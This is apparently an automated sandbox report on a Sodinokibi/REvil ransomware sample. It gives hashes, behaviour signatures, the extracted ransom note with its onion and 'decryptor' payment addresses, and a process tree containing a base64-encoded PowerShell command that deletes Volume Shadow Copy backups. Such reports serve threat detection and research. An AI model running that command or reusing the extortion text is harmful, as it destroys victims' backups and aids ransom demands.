Resubmissions
29/07/2026, 09:44
260729-lqsbkss1gx1029/07/2026, 01:01
260729-bdke4asyfs1012/02/2026, 13:04
260212-qazsyabv9d10Analysis
- user interaction
yes - max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 01:01
General
- Target b8d7fb4488c0556385498271ab9fffdf0eb38bb2a330265d9852e3a6288092aa.exe
- Size 115KB
- Sample260729-bdke4asyfs
- SHA256 b8d7fb4488c0556385498271ab9fffdf0eb38bb2a330265d9852e3a6288092aa
Malware Config
Extracted
-
C:\Users\xm3157331-readme.txt
-
sodinokibi
- ---=== Welcome. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension xm3157331. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C1B32C69A6E4856E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C1B32C69A6E4856E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xL9On5ESVsalvkYqYqB2vSqhr5ODMAqEthN7khb3Oh34koco1CHhrbQ6xsLruRuA I04Eyjm2Cn1zRrjcW7lsch2Dor2FwlzfPBiubN2FZUSZKA6iBKAfbUzK6DUxw47L SutdUGL6xPVUKBz8JfnWokERpb0O7NJizP7TzOHVgat3c4W2OSS422R1MK75Yqi4 0fbQGBhyjNbJzTsuIJ5GC53AU/oJf/vgNk9orbqsRauKYEQzGQTteaPnjOBtLEMQ b0Oxqh2xjWWansTM+r/l9O64owvmztw/+HExv5z2SQHuJdtLK92D1DEtpPEowsba lqxWuqGC+lag0JvK65lXm3ZpqeVyrypYJKVgNJijqenzpMQ9eSDvpKJ0DILNu70b +nAH1PgrbjcL1iNDjcQwLNLaNHrJz64C+a+QWtq00nP05Ang7nS4OYX0Dr1F1F4o P7a5ML57NSREpOjTK+954t/sq6apWDzqOUNnowKYYzzEfCJsgCPxCk9XS//76zRC zbScGxVlDIB3mOrLpSWOaqW0DDC1Bzdj9/dOstHvh40zvPPtAhiZYviM8vDklUBN H+6BiAct7qGoEhg76Oo15DCYno6/UF7tRnOKRGF2ggZunpvZxofX5JdL+xWxpsym qtIs7xGRsZogIbLDcgXs9ZuketYoAFF9jY3i6sdrHwSfuplV1CwZcp72g1KKVDrp akoX2YumGHn6+8wDHch39q+PIH7ZfYcZYqKxlJECLPY3EpMfjBmwISkMGaswq6pR e3asbhKh8Hf+T0awxl/t76fgksTu3VRCH8/tfb2OMXS4JsEzRLLcPYFG1/dCmfOt DBLIacw50EXd35FwcI08IRV/bdukmCkGo/4s7WW4iWxagdxMk6wGqN8aFdexCbFM 9SUuxEJA9e8WKrkvplER96nS0MbN322/R+X1iqcASpfvMostO+zkqYFFwwt6Wi/L zL0agFHzslO0b1MO2yEDLLMXWlDC7iNXuH20wztBn9raZ5g1VU3FXn1In1ySdLeg 6DrvsPCOqXhnfOLM6NSIAt7VF1JJS8iXXoeIiEmDDCcPoOnTJCIo9XJc4xCKv0rX /tB15D/3G5lYAaa9PapTK6iuTuvW1wCzvrpmWhA1ZnvOmkDQaecu+xUQuqV2KUVF tNC6jpFTNGa/EyG4DOqLghxoxz/4HkuPnBnP0U552WOKQeDB2qbZykTV4bgFb1KD XDt6nAGOESxfEntESIy5qwq5biuFYQjC/62lAqvwdbShbixSRBwlBlNOgLeOGJdL p76sKBI9MUGOzFk0FnlA19sJIcmOkHhK5RjicaQY2sYwf1A8d1B1v2+xbOw3K+Nf eWWRPt0tQKFVDiE6Th36pdGQmELNwQ6MrpDbC7CYq8Zq79MhlD7Q1ktO5hfwnUnh L5UOJvNSYQrRRnR/61bFaw== Extension name: xm3157331 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C1B32C69A6E4856E
-
http://decryptor.cc/C1B32C69A6E4856E
Signatures
- Family: Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 11 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\b8d7fb4488c0556385498271ab9fffdf0eb38bb2a330265d9852e3a6288092aa.exe"C:\Users\Admin\AppData\Local\Temp\b8d7fb4488c0556385498271ab9fffdf0eb38bb2a330265d9852e3a6288092aa.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
xm3157331-readme.txt
memory/1512-8-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-10-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-5-0x000001E24CEB0000-0x000001E24CED2000-memory.dmp
memory/1512-6-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-7-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-0-0x00007FFFE173F000-0x00007FFFE1740000-memory.dmp
memory/1512-9-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-4-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-11-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-12-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-13-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-14-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-16-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp
memory/1512-3-0x00007FFFE15B0000-0x00007FFFE1F54000-memory.dmp